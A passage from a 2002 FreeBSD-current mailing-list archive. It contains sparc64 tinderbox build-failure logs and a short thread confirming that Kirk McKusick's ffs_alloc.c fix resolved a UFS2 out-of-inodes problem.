/usr/home/des/tinderbox/sparc64/src/contrib/sendmail/libmilter/engine.c:223: warning: cast from pointer to integer of different size
/usr/home/des/tinderbox/sparc64/src/contrib/sendmail/libmilter/engine.c:245: warning: cast from pointer to integer of different size
/usr/home/des/tinderbox/sparc64/src/contrib/sendmail/libmilter/engine.c:258: warning: cast from pointer to integer of different size
/usr/home/des/tinderbox/sparc64/src/contrib/sendmail/libmilter/engine.c:269: warning: cast from pointer to integer of different size
/usr/home/des/tinderbox/sparc64/src/contrib/sendmail/libmilter/engine.c:278: warning: cast from pointer to integer of different size
/usr/home/des/tinderbox/sparc64/src/contrib/sendmail/libmilter/engine.c:287: warning: cast from pointer to integer of different size
/usr/home/des/tinderbox/sparc64/src/contrib/sendmail/libmilter/engine.c:294: warning: cast from pointer to integer of different size
/usr/home/des/tinderbox/sparc64/src/contrib/sendmail/libmilter/engine.c:359: warning: cast from pointer to integer of different size
/usr/home/des/tinderbox/sparc64/src/contrib/sendmail/libmilter/engine.c: In function `st_optionneg':
/usr/home/des/tinderbox/sparc64/src/contrib/sendmail/libmilter/engine.c:511: warning: cast from pointer to integer of different size
/usr/home/des/tinderbox/sparc64/src/contrib/sendmail/libmilter/engine.c:525: warning: cast from pointer to integer of different size
/usr/home/des/tinderbox/sparc64/src/contrib/sendmail/libmilter/engine.c:543: warning: cast from pointer to integer of different size
/usr/home/des/tinderbox/sparc64/src/contrib/sendmail/libmilter/engine.c:560: warning: cast from pointer to integer of different size
/usr/home/des/tinderbox/sparc64/src/contrib/sendmail/libmilter/engine.c: In function `st_connectinfo':
/usr/home/des/tinderbox/sparc64/src/contrib/sendmail/libmilter/engine.c:615: warning: cast from pointer to integer of different size
/usr/home/des/tinderbox/sparc64/src/contrib/sendmail/libmilter/engine.c:631: warning: cast from pointer to integer of different size
/usr/home/des/tinderbox/sparc64/src/contrib/sendmail/libmilter/engine.c:649: warning: cast from pointer to integer of different size
/usr/home/des/tinderbox/sparc64/src/contrib/sendmail/libmilter/engine.c:668: warning: cast from pointer to integer of different size
/usr/home/des/tinderbox/sparc64/src/contrib/sendmail/libmilter/engine.c:679: warning: cast from pointer to integer of different size
/usr/home/des/tinderbox/sparc64/src/contrib/sendmail/libmilter/listener.c: In function `mi_thread_handle_wrapper':
/usr/home/des/tinderbox/sparc64/src/contrib/sendmail/libmilter/listener.c:508: warning: cast to pointer from integer of different size
===> lib/libmp
===> lib/libnetgraph
===> lib/libopie
===> lib/libpam
===> lib/libpam/modules
===> lib/libpam/modules/pam_deny
===> lib/libpam/modules/pam_echo
===> lib/libpam/modules/pam_exec
/usr/home/des/tinderbox/sparc64/src/lib/libpam/modules/pam_exec/pam_exec.c: In function `_pam_exec':
/usr/home/des/tinderbox/sparc64/src/lib/libpam/modules/pam_exec/pam_exec.c:66: warning: passing arg 2 of `execv' from incompatible pointer type
/usr/home/des/tinderbox/sparc64/src/lib/libpam/modules/pam_exec/pam_exec.c: In function `_pam_exec':
/usr/home/des/tinderbox/sparc64/src/lib/libpam/modules/pam_exec/pam_exec.c:66: warning: passing arg 2 of `execv' from incompatible pointer type
===> lib/libpam/modules/pam_ftp
===> lib/libpam/modules/pam_ftpusers
===> lib/libpam/modules/pam_kerberosIV
===> lib/libpam/modules/pam_krb5
===> lib/libpam/modules/pam_ksu
/usr/home/des/tinderbox/sparc64/src/lib/libpam/modules/pam_ksu/pam_ksu.c:54: warning: `pam_sm_authenticate' defined but not used
/usr/home/des/tinderbox/sparc64/src/lib/libpam/modules/pam_ksu/pam_ksu.c:91: warning: `pam_sm_setcred' defined but not used
===> lib/libpam/modules/pam_lastlog
===> lib/libpam/modules/pam_login_access
===> lib/libpam/modules/pam_nologin
===> lib/libpam/modules/pam_opie
===> lib/libpam/modules/pam_opieaccess
===> lib/libpam/modules/pam_passwdqc
/usr/home/des/tinderbox/sparc64/src/contrib/pam_modules/pam_passwdqc/pam_passwdqc.c: In function `converse':
/usr/home/des/tinderbox/sparc64/src/contrib/pam_modules/pam_passwdqc/pam_passwdqc.c:145: warning: assignment discards qualifiers from pointer target type
/usr/home/des/tinderbox/sparc64/src/contrib/pam_modules/pam_passwdqc/pam_passwdqc.c: In function `pam_sm_chauthtok':
/usr/home/des/tinderbox/sparc64/src/contrib/pam_modules/pam_passwdqc/pam_passwdqc.c:367: warning: assignment discards qualifiers from pointer target type
/usr/home/des/tinderbox/sparc64/src/contrib/pam_modules/pam_passwdqc/passwdqc_random.c: In function `_passwdqc_random':
/usr/home/des/tinderbox/sparc64/src/contrib/pam_modules/pam_passwdqc/passwdqc_random.c:69: warning: comparison between signed and unsigned
/usr/home/des/tinderbox/sparc64/src/contrib/pam_modules/pam_passwdqc/pam_passwdqc.c: In function `converse':
/usr/home/des/tinderbox/sparc64/src/contrib/pam_modules/pam_passwdqc/pam_passwdqc.c:145: warning: assignment discards qualifiers from pointer target type
/usr/home/des/tinderbox/sparc64/src/contrib/pam_modules/pam_passwdqc/pam_passwdqc.c: In function `pam_sm_chauthtok':
/usr/home/des/tinderbox/sparc64/src/contrib/pam_modules/pam_passwdqc/pam_passwdqc.c:367: warning: assignment discards qualifiers from pointer target type
/usr/home/des/tinderbox/sparc64/src/contrib/pam_modules/pam_passwdqc/passwdqc_random.c: In function `_passwdqc_random':
/usr/home/des/tinderbox/sparc64/src/contrib/pam_modules/pam_passwdqc/passwdqc_random.c:69: warning: comparison between signed and unsigned
===> lib/libpam/modules/pam_permit
===> lib/libpam/modules/pam_radius
===> lib/libpam/modules/pam_rhosts
===> lib/libpam/modules/pam_rootok
===> lib/libpam/modules/pam_securetty
===> lib/libpam/modules/pam_self
===> lib/libpam/modules/pam_ssh
===> lib/libpam/modules/pam_tacplus
===> lib/libpam/modules/pam_unix
===> lib/libpam/modules/pam_wheel
===> lib/libpam/libpam
===> lib/libpanel
===> lib/libpcap
/usr/home/des/tinderbox/sparc64/src/contrib/libpcap/gencode.c: In function `init_linktype':
/usr/home/des/tinderbox/sparc64/src/contrib/libpcap/gencode.c:604: `DLT_PPP_ETHER' undeclared (first use in this function)
/usr/home/des/tinderbox/sparc64/src/contrib/libpcap/gencode.c:604: (Each undeclared identifier is reported only once
/usr/home/des/tinderbox/sparc64/src/contrib/libpcap/gencode.c:604: for each function it appears in.)
/usr/home/des/tinderbox/sparc64/src/contrib/libpcap/gencode.c:682: `DLT_PRISM_HEADER' undeclared (first use in this function)
/usr/home/des/tinderbox/sparc64/src/contrib/libpcap/gencode.c:721: `DLT_LTALK' undeclared (first use in this function)
/usr/home/des/tinderbox/sparc64/src/contrib/libpcap/gencode.c: In function `gen_linktype':
/usr/home/des/tinderbox/sparc64/src/contrib/libpcap/gencode.c:955: `DLT_PRISM_HEADER' undeclared (first use in this function)
/usr/home/des/tinderbox/sparc64/src/contrib/libpcap/gencode.c:1215: `DLT_PPP_ETHER' undeclared (first use in this function)
/usr/home/des/tinderbox/sparc64/src/contrib/libpcap/gencode.c:1412: `DLT_LTALK' undeclared (first use in this function)
*** Error code 1

Stop in /usr/home/des/tinderbox/sparc64/src/lib/libpcap.
*** Error code 1

Stop in /usr/home/des/tinderbox/sparc64/src/lib.
*** Error code 1

Stop in /usr/home/des/tinderbox/sparc64/src.
*** Error code 1

Stop in /usr/home/des/tinderbox/sparc64/src.
*** Error code 1

Stop in /usr/home/des/tinderbox/sparc64/src.
*** Error code 1

Stop in /usr/home/des/tinderbox/sparc64/src.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22 20: 3:46 2002
Delivered-To: freebsd-current@freebsd.org
Received: from espresso.q9media.com (espresso.q9media.com [216.254.138.122])
	by hub.freebsd.org (Postfix) with ESMTP id A777737B403
	for <current@freebsd.org>; Sat, 22 Jun 2002 20:03:25 -0700 (PDT)
Received: from bowie.private (d141-203-124.home.cgocable.net [24.141.203.124])
	by espresso.q9media.com (Postfix) with ESMTP id 9995B9C4A
	for <current@freebsd.org>; Sat, 22 Jun 2002 23:00:50 -0400 (EDT)
Received: from bowie.private (localhost [127.0.0.1])
	by bowie.private (8.12.3/8.12.3) with ESMTP id g5JA8op2087526
	for <current@freebsd.org>; Wed, 19 Jun 2002 10:23:50 GMT
	(envelope-from des@bowie.private)
Received: (from des@localhost)
	by bowie.private (8.12.3/8.12.3/Submit) id g5JA8nvQ087524
	for current@freebsd.org; Wed, 19 Jun 2002 10:08:49 GMT
Date: Wed, 19 Jun 2002 10:08:49 GMT
From: Dag-Erling Smorgrav <des@sparc64.style9.org>
Message-Id: <200206191008.g5JA8nvQ087524@bowie.private>
To: current@freebsd.org
Subject: sparc64 tinderbox failure
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

===> games/adventure
===> games/arithmetic
===> games/atc
===> games/backgammon
===> games/backgammon/backgammon
===> games/backgammon/teachgammon
===> games/battlestar
===> games/bcd
===> games/bs
===> games/caesar
===> games/canfield
===> games/canfield/canfield
===> games/canfield/cfscores
===> games/cribbage
===> games/dm
===> games/factor
===> games/fish
===> games/fortune
===> games/fortune/fortune
===> games/fortune/strfile
===> games/fortune/datfiles
===> games/fortune/unstr
===> games/grdc
===> games/hack
===> games/hangman
===> games/larn
===> games/mille
/usr/home/des/tinderbox/sparc64/src/games/mille/move.c: In function `playcard':
/usr/home/des/tinderbox/sparc64/src/games/mille/move.c:348: warning: comparison is always false due to limited range of data type
/usr/home/des/tinderbox/sparc64/src/games/mille/save.c: In function `save':
/usr/home/des/tinderbox/sparc64/src/games/mille/save.c:137: warning: passing arg 2 of `varpush' from incompatible pointer type
/usr/home/des/tinderbox/sparc64/src/games/mille/save.c: In function `rest_f':
/usr/home/des/tinderbox/sparc64/src/games/mille/save.c:166: warning: passing arg 2 of `varpush' from incompatible pointer type
/usr/home/des/tinderbox/sparc64/src/games/mille/varpush.c: In function `varpush':
/usr/home/des/tinderbox/sparc64/src/games/mille/varpush.c:71: warning: comparison of distinct pointer types lacks a cast
===> games/morse
===> games/number
===> games/phantasia
===> games/piano
===> games/pig
===> games/pom
===> games/ppt
===> games/primes
===> games/quiz
===> games/rain
===> games/random
===> games/robots
===> games/rogue
===> games/sail
/usr/home/des/tinderbox/sparc64/src/games/sail/sync.c: In function `Write':
/usr/home/des/tinderbox/sparc64/src/games/sail/sync.c:131: warning: cast to pointer from integer of different size
===> games/snake
===> games/snake/snake
===> games/snake/snscore
===> games/trek
/usr/home/des/tinderbox/sparc64/src/games/trek/utility.c: In function `syserr':
/usr/home/des/tinderbox/sparc64/src/games/trek/utility.c:149: warning: passing arg 1 of `printf' makes pointer from integer without a cast
===> games/wargames
===> games/worm
===> games/worms
===> games/wump
===> gnu
===> gnu/lib
===> gnu/lib/csu
===> gnu/lib/libgcc
===> gnu/lib/libdialog
===> gnu/lib/libregex
===> gnu/lib/libregex/doc
regex.texi:876: warning: unlikely character , in @var.
regex.texi:880: warning: unlikely character , in @var.
regex.texi:1126: warning: Info cannot handle `:' in index entry `@samp{[:} in regex'.
regex.texi:1127: warning: Info cannot handle `:' in index entry `@samp{:]} in regex'.
===> gnu/lib/libreadline
===> gnu/lib/libreadline/history
===> gnu/lib/libreadline/history/doc
/usr/home/des/tinderbox/sparc64/src/gnu/lib/libreadline/history/doc/../../../../../contrib/libreadline/doc/hstech.texinfo:451: warning: unlikely character [ in @var.
/usr/home/des/tinderbox/sparc64/src/gnu/lib/libreadline/history/doc/../../../../../contrib/libreadline/doc/hstech.texinfo:451: warning: unlikely character ] in @var.
===> gnu/lib/libreadline/readline
===> gnu/lib/libreadline/readline/doc
===> gnu/lib/libstdc++
===> gnu/lib/libstdc++/doc
make: don't know how to make iostream.info. Stop
*** Error code 2

Stop in /usr/home/des/tinderbox/sparc64/src/gnu/lib/libstdc++.
*** Error code 1

Stop in /usr/home/des/tinderbox/sparc64/src/gnu/lib.
*** Error code 1

Stop in /usr/home/des/tinderbox/sparc64/src/gnu.
*** Error code 1

Stop in /usr/home/des/tinderbox/sparc64/src.
*** Error code 1

Stop in /usr/home/des/tinderbox/sparc64/src.
*** Error code 1

Stop in /usr/home/des/tinderbox/sparc64/src.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22 20: 4:19 2002
Delivered-To: freebsd-current@freebsd.org
Received: from espresso.q9media.com (espresso.q9media.com [216.254.138.122])
	by hub.freebsd.org (Postfix) with ESMTP id B98C437B405
	for <current@freebsd.org>; Sat, 22 Jun 2002 20:03:27 -0700 (PDT)
Received: from bowie.private (d141-203-124.home.cgocable.net [24.141.203.124])
	by espresso.q9media.com (Postfix) with ESMTP id B01869C0B
	for <current@freebsd.org>; Sat, 22 Jun 2002 23:00:49 -0400 (EDT)
Received: from bowie.private (localhost [127.0.0.1])
	by bowie.private (8.12.3/8.12.3) with ESMTP id g5MAF0p2035235
	for <current@freebsd.org>; Sat, 22 Jun 2002 10:30:01 GMT
	(envelope-from des@bowie.private)
Received: (from des@localhost)
	by bowie.private (8.12.3/8.12.3/Submit) id g5MAF0Od035233
	for current@freebsd.org; Sat, 22 Jun 2002 10:15:00 GMT
Date: Sat, 22 Jun 2002 10:15:00 GMT
From: Dag-Erling Smorgrav <des@sparc64.style9.org>
Message-Id: <200206221015.g5MAF0Od035233@bowie.private>
To: current@freebsd.org
Subject: sparc64 tinderbox failure
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

===> games/snake
===> games/snake/snake
===> games/snake/snscore
===> games/trek
/usr/home/des/tinderbox/sparc64/src/games/trek/utility.c: In function `syserr':
/usr/home/des/tinderbox/sparc64/src/games/trek/utility.c:149: warning: passing arg 1 of `printf' makes pointer from integer without a cast
===> games/wargames
===> games/worm
===> games/worms
===> games/wump
===> gnu
===> gnu/lib
===> gnu/lib/csu
===> gnu/lib/libgcc
===> gnu/lib/libdialog
===> gnu/lib/libregex
===> gnu/lib/libregex/doc
regex.texi:876: warning: unlikely character , in @var.
regex.texi:880: warning: unlikely character , in @var.
regex.texi:1126: warning: Info cannot handle `:' in index entry `@samp{[:} in regex'.
regex.texi:1127: warning: Info cannot handle `:' in index entry `@samp{:]} in regex'.
===> gnu/lib/libreadline
===> gnu/lib/libreadline/history
===> gnu/lib/libreadline/history/doc
/usr/home/des/tinderbox/sparc64/src/gnu/lib/libreadline/history/doc/../../../../../contrib/libreadline/doc/hstech.texinfo:451: warning: unlikely character [ in @var.
/usr/home/des/tinderbox/sparc64/src/gnu/lib/libreadline/history/doc/../../../../../contrib/libreadline/doc/hstech.texinfo:451: warning: unlikely character ] in @var.
===> gnu/lib/libreadline/readline
===> gnu/lib/libreadline/readline/doc
===> gnu/lib/libstdc++
===> gnu/lib/libsupc++
===> gnu/lib/libobjc
===> gnu/lib/libg2c
===> gnu/usr.bin
===> gnu/usr.bin/bc
===> gnu/usr.bin/binutils
===> gnu/usr.bin/binutils/libiberty
===> gnu/usr.bin/binutils/libbfd
/usr/home/des/tinderbox/sparc64/src/contrib/binutils/bfd/elf-eh-frame.c: In function `_bfd_elf_discard_section_eh_frame':
/usr/home/des/tinderbox/sparc64/src/contrib/binutils/bfd/elf-eh-frame.c:416: warning: comparison between signed and unsigned
===> gnu/usr.bin/binutils/libopcodes
===> gnu/usr.bin/binutils/libbinutils
===> gnu/usr.bin/binutils/addr2line
../libbinutils/libbinutils.a(bucomm.o): In function `make_tempname':
bucomm.o(.text+0x4e0): warning: mktemp() possibly used unsafely; consider using mkstemp()
===> gnu/usr.bin/binutils/ar
../libbinutils/libbinutils.a(bucomm.o): In function `make_tempname':
bucomm.o(.text+0x4e0): warning: mktemp() possibly used unsafely; consider using mkstemp()
===> gnu/usr.bin/binutils/as
===> gnu/usr.bin/binutils/as/sparc64-freebsd
===> gnu/usr.bin/binutils/gasp
===> gnu/usr.bin/binutils/ld
===> gnu/usr.bin/binutils/nm
../libbinutils/libbinutils.a(bucomm.o): In function `make_tempname':
bucomm.o(.text+0x4e0): warning: mktemp() possibly used unsafely; consider using mkstemp()
===> gnu/usr.bin/binutils/objcopy
../libbinutils/libbinutils.a(bucomm.o): In function `make_tempname':
bucomm.o(.text+0x4e0): warning: mktemp() possibly used unsafely; consider using mkstemp()
===> gnu/usr.bin/binutils/objdump
../libbinutils/libbinutils.a(bucomm.o): In function `make_tempname':
bucomm.o(.text+0x4e0): warning: mktemp() possibly used unsafely; consider using mkstemp()
===> gnu/usr.bin/binutils/ranlib
../libbinutils/libbinutils.a(bucomm.o): In function `make_tempname':
bucomm.o(.text+0x4e0): warning: mktemp() possibly used unsafely; consider using mkstemp()
===> gnu/usr.bin/binutils/readelf
===> gnu/usr.bin/binutils/size
../libbinutils/libbinutils.a(bucomm.o): In function `make_tempname':
bucomm.o(.text+0x4e0): warning: mktemp() possibly used unsafely; consider using mkstemp()
===> gnu/usr.bin/binutils/strings
../libbinutils/libbinutils.a(bucomm.o): In function `make_tempname':
bucomm.o(.text+0x4e0): warning: mktemp() possibly used unsafely; consider using mkstemp()
===> gnu/usr.bin/binutils/strip
../libbinutils/libbinutils.a(bucomm.o): In function `make_tempname':
bucomm.o(.text+0x4e0): warning: mktemp() possibly used unsafely; consider using mkstemp()
===> gnu/usr.bin/binutils/doc
/usr/home/des/tinderbox/sparc64/src/gnu/usr.bin/binutils/doc/../../../../contrib/binutils/gas/doc/as.texinfo:2108: warning: Info cannot handle `:' in index entry `@code{:} (label)'.
/usr/home/des/tinderbox/sparc64/src/gnu/usr.bin/binutils/doc/../../../../contrib/binutils/gas/doc/as.texinfo:2109: warning: Info cannot handle `:' in index entry `label (@code{:})'.
/usr/home/des/tinderbox/sparc64/src/gnu/usr.bin/binutils/doc/../../../../contrib/binutils/gas/doc/as.texinfo:3927: warning: Info cannot handle `:' in index entry `listing control: new page'.
/usr/home/des/tinderbox/sparc64/src/gnu/usr.bin/binutils/doc/../../../../contrib/binutils/gas/doc/as.texinfo:4814: warning: Info cannot handle `:' in index entry `listing control: paper size'.
/usr/home/des/tinderbox/sparc64/src/gnu/usr.bin/binutils/doc/../../../../contrib/binutils/gas/doc/as.texinfo:4903: warning: Info cannot handle `:' in index entry `listing control: subtitle'.
/usr/home/des/tinderbox/sparc64/src/gnu/usr.bin/binutils/doc/../../../../contrib/binutils/gas/doc/as.texinfo:5391: warning: Info cannot handle `:' in index entry `listing control: title line'.
/usr/home/des/tinderbox/sparc64/src/gnu/usr.bin/binutils/doc/../../../../contrib/binutils/ld/ld.texinfo:3202: warning: Info cannot handle `:' in index entry `:@var{phdr}'.
make: don't know how to make annotate.info. Stop
*** Error code 2

Stop in /usr/home/des/tinderbox/sparc64/src/gnu/usr.bin/binutils.
*** Error code 1

Stop in /usr/home/des/tinderbox/sparc64/src/gnu/usr.bin.
*** Error code 1

Stop in /usr/home/des/tinderbox/sparc64/src/gnu.
*** Error code 1

Stop in /usr/home/des/tinderbox/sparc64/src.
*** Error code 1

Stop in /usr/home/des/tinderbox/sparc64/src.
*** Error code 1

Stop in /usr/home/des/tinderbox/sparc64/src.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22 21: 7:52 2002
Delivered-To: freebsd-current@freebsd.org
Received: from hfep04.dion.ne.jp (hfep04.dion.ne.jp [203.181.105.70])
	by hub.freebsd.org (Postfix) with ESMTP id 2381737B400
	for <freebsd-current@FreeBSD.ORG>; Sat, 22 Jun 2002 21:07:47 -0700 (PDT)
Received: from localhost ([211.5.20.53]) by hfep04.dion.ne.jp with ESMTP
          id <20020623040745402.VDKQ@hfep04.dion.ne.jp>;
          Sun, 23 Jun 2002 13:07:45 +0900
To: morganw@chemikals.org
Cc: haro@h4.dion.ne.jp, freebsd-current@FreeBSD.ORG
Subject: Re: UFS2 related message?
In-Reply-To: <20020622104917.S81435-100000@volatile.chemikals.org>
References: <20020622204501P.haro@h4.dion.ne.jp>
	<20020622104917.S81435-100000@volatile.chemikals.org>
X-Mailer: Mew version 1.94.1 on Emacs 20.7 / Mule 4.0 (HANANOEN)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20020623130448O.haro@h4.dion.ne.jp>
Date: Sun, 23 Jun 2002 13:04:48 +0900
From: Munehiro Matsuda <haro@h4.dion.ne.jp>
X-Dispatcher: imput version 20000228(IM140)
Lines: 33
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

From: Wesley Morgan <morganw@chemikals.org>
Date: Sat, 22 Jun 2002 10:51:36 -0400 (EDT)
::By chance, is this a new installation? A month or so ago I was adding a
::drive to a -current system and I discovered that the newfs "defaults" were
::setting insanely large block/fragment/inode sizes and I could not even do
::a 'make world' on that partition. Had to completely reinstall and override
::the defaults.

No, I've been using my system for over a year now. :-)
Well, the problem seems to have been fixed by patch from Kirk McKusick.

Thanks for follow up anyway,
  Haro


::On Sat, 22 Jun 2002, Munehiro Matsuda wrote:
::
::> Hello all,
::>
::> After the import of UFS2 patch into -current, I get the following messages.
::>
::> pid 397 (perl), uid 123 inumber 682496 on /home: out of inodes
::> pid 397 (perl), uid 123 inumber 682496 on /home: out of inodes
::> pid 397 (perl), uid 123 inumber 682496 on /home: out of inodes

=------------------------------------------------------------------------------
           _ _    Munehiro (haro) Matsuda
 -|- /_\  |_|_|   Business Incubation Dept., Kubota Corp.
 /|\ |_|  |_|_|   1-3 Nihonbashi-Muromachi 3-Chome
                  Chuo-ku Tokyo 103-8310, Japan
                  Tel: +81-3-3245-3318  Fax: +81-3-3245-3315
                  Email: haro@kubota.co.jp


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22 21:13:34 2002
Delivered-To: freebsd-current@freebsd.org
Received: from hfep07.dion.ne.jp (hfep07.dion.ne.jp [203.181.105.73])
	by hub.freebsd.org (Postfix) with ESMTP id 40E6E37B401
	for <freebsd-current@FreeBSD.ORG>; Sat, 22 Jun 2002 21:13:31 -0700 (PDT)
Received: from localhost ([211.126.19.24]) by hfep07.dion.ne.jp with ESMTP
          id <20020623041329853.IYCB@hfep07.dion.ne.jp>;
          Sun, 23 Jun 2002 13:13:29 +0900
To: phk@critter.freebsd.dk
Cc: haro@h4.dion.ne.jp, freebsd-current@FreeBSD.ORG
Subject: Re: UFS2 related message? 
In-Reply-To: <20644.1024770478@critter.freebsd.dk>
References: <20020622204501P.haro@h4.dion.ne.jp>
	<20644.1024770478@critter.freebsd.dk>
X-Mailer: Mew version 1.94.1 on Emacs 20.7 / Mule 4.0 (HANANOEN)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20020623131032C.haro@h4.dion.ne.jp>
Date: Sun, 23 Jun 2002 13:10:32 +0900
From: Munehiro Matsuda <haro@h4.dion.ne.jp>
X-Dispatcher: imput version 20000228(IM140)
Lines: 38
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

From: Poul-Henning Kamp <phk@critter.freebsd.dk>
Date: Sat, 22 Jun 2002 20:27:58 +0200
::>After the import of UFS2 patch into -current, I get the following messages.
::>
::>pid 397 (perl), uid 123 inumber 682496 on /home: out of inodes
::>pid 397 (perl), uid 123 inumber 682496 on /home: out of inodes
::>pid 397 (perl), uid 123 inumber 682496 on /home: out of inodes
::>
::>Is it related to UFS2 by anyway?
::
::Yes, this seems to be related to UFS2.
::
::Please send an email to kirk@mckusick.com with the output of
::dumpfs from that partition (or upload the file and send him
::the URL)
::
::Please also tell him if you ran any of the posted versions of the
::UFS2 patch or not.

The problem seems have been fixed by Kirk McKusick with
ffs_alloc.c rev1.94.

Thank you for your follow up,
  Haro
=------------------------------------------------------------------------------
           _ _    Munehiro (haro) Matsuda
 -|- /_\  |_|_|   Business Incubation Dept., Kubota Corp.
 /|\ |_|  |_|_|   1-3 Nihonbashi-Muromachi 3-Chome
                  Chuo-ku Tokyo 103-8310, Japan
                  Tel: +81-3-3245-3318  Fax: +81-3-3245-3315
                  Email: haro@kubota.co.jp








To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22 21:17:55 2002
Delivered-To: freebsd-current@freebsd.org
Received: from hfep03.dion.ne.jp (hfep03.dion.ne.jp [203.181.105.69])
	by hub.freebsd.org (Postfix) with ESMTP
	id 566A537B401; Sat, 22 Jun 2002 21:17:51 -0700 (PDT)
Received: from localhost ([211.5.20.193]) by hfep03.dion.ne.jp with ESMTP
          id <20020623041750061.TLDX@hfep03.dion.ne.jp>;
          Sun, 23 Jun 2002 13:17:50 +0900
To: mckusick@McKusick.COM, mckusick@beastie.mckusick.com
Cc: freebsd-current@FreeBSD.ORG, haro@h4.dion.ne.jp,
	phk@critter.freebsd.dk, mux@FreeBSD.ORG
Subject: Re: UFS2 related message?
In-Reply-To: <200206222131.g5MLV2n9024735@beastie.mckusick.com>
References: <200206222131.g5MLV2n9024735@beastie.mckusick.com>
X-Mailer: Mew version 1.94.1 on Emacs 20.7 / Mule 4.0 (HANANOEN)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20020623131452L.haro@h4.dion.ne.jp>
Date: Sun, 23 Jun 2002 13:14:52 +0900
From: Munehiro Matsuda <haro@h4.dion.ne.jp>
X-Dispatcher: imput version 20000228(IM140)
Lines: 21
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

From: Kirk McKusick <mckusick@beastie.mckusick.com>
Date: Sat, 22 Jun 2002 14:31:02 -0700
::The problem with running out of inodes is now fixed and checked in
::on freefall. You need to pick up /sys/ufs/ffs/ffs_alloc.c revision
::1.94 or later. For those that care, the log entry describing the
::problem:

Thank you very much.
It seems to have fixed my problem.
Keep up the excellent work.

Thank you,
 Haro
=------------------------------------------------------------------------------
           _ _    Munehiro (haro) Matsuda
 -|- /_\  |_|_|   Business Incubation Dept., Kubota Corp.
 /|\ |_|  |_|_|   1-3 Nihonbashi-Muromachi 3-Chome
                  Chuo-ku Tokyo 103-8310, Japan
                  Tel: +81-3-3245-3318  Fax: +81-3-3245-3315
                  Email: haro@kubota.co.jp


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22 22:31:17 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16])
	by hub.freebsd.org (Postfix) with ESMTP id 7E61237B400
	for <current@FreeBSD.ORG>; Sat, 22 Jun 2002 22:31:13 -0700 (PDT)
Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102])
	by mailman.zeta.org.au (8.9.3/8.8.7) with ESMTP id PAA26923;
	Sun, 23 Jun 2002 15:31:08 +1000
Date: Sun, 23 Jun 2002 15:36:10 +1000 (EST)
From: Bruce Evans <bde@zeta.org.au>
X-X-Sender: bde@gamplex.bde.org
To: Jan Stocker <Jan.Stocker@t-online.de>
Cc: current@FreeBSD.ORG
Subject: Re: Floppy only 8.3 filenames
In-Reply-To: <1024778356.423.55.camel@twoflower>
Message-ID: <20020623153059.Y11044-100000@gamplex.bde.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
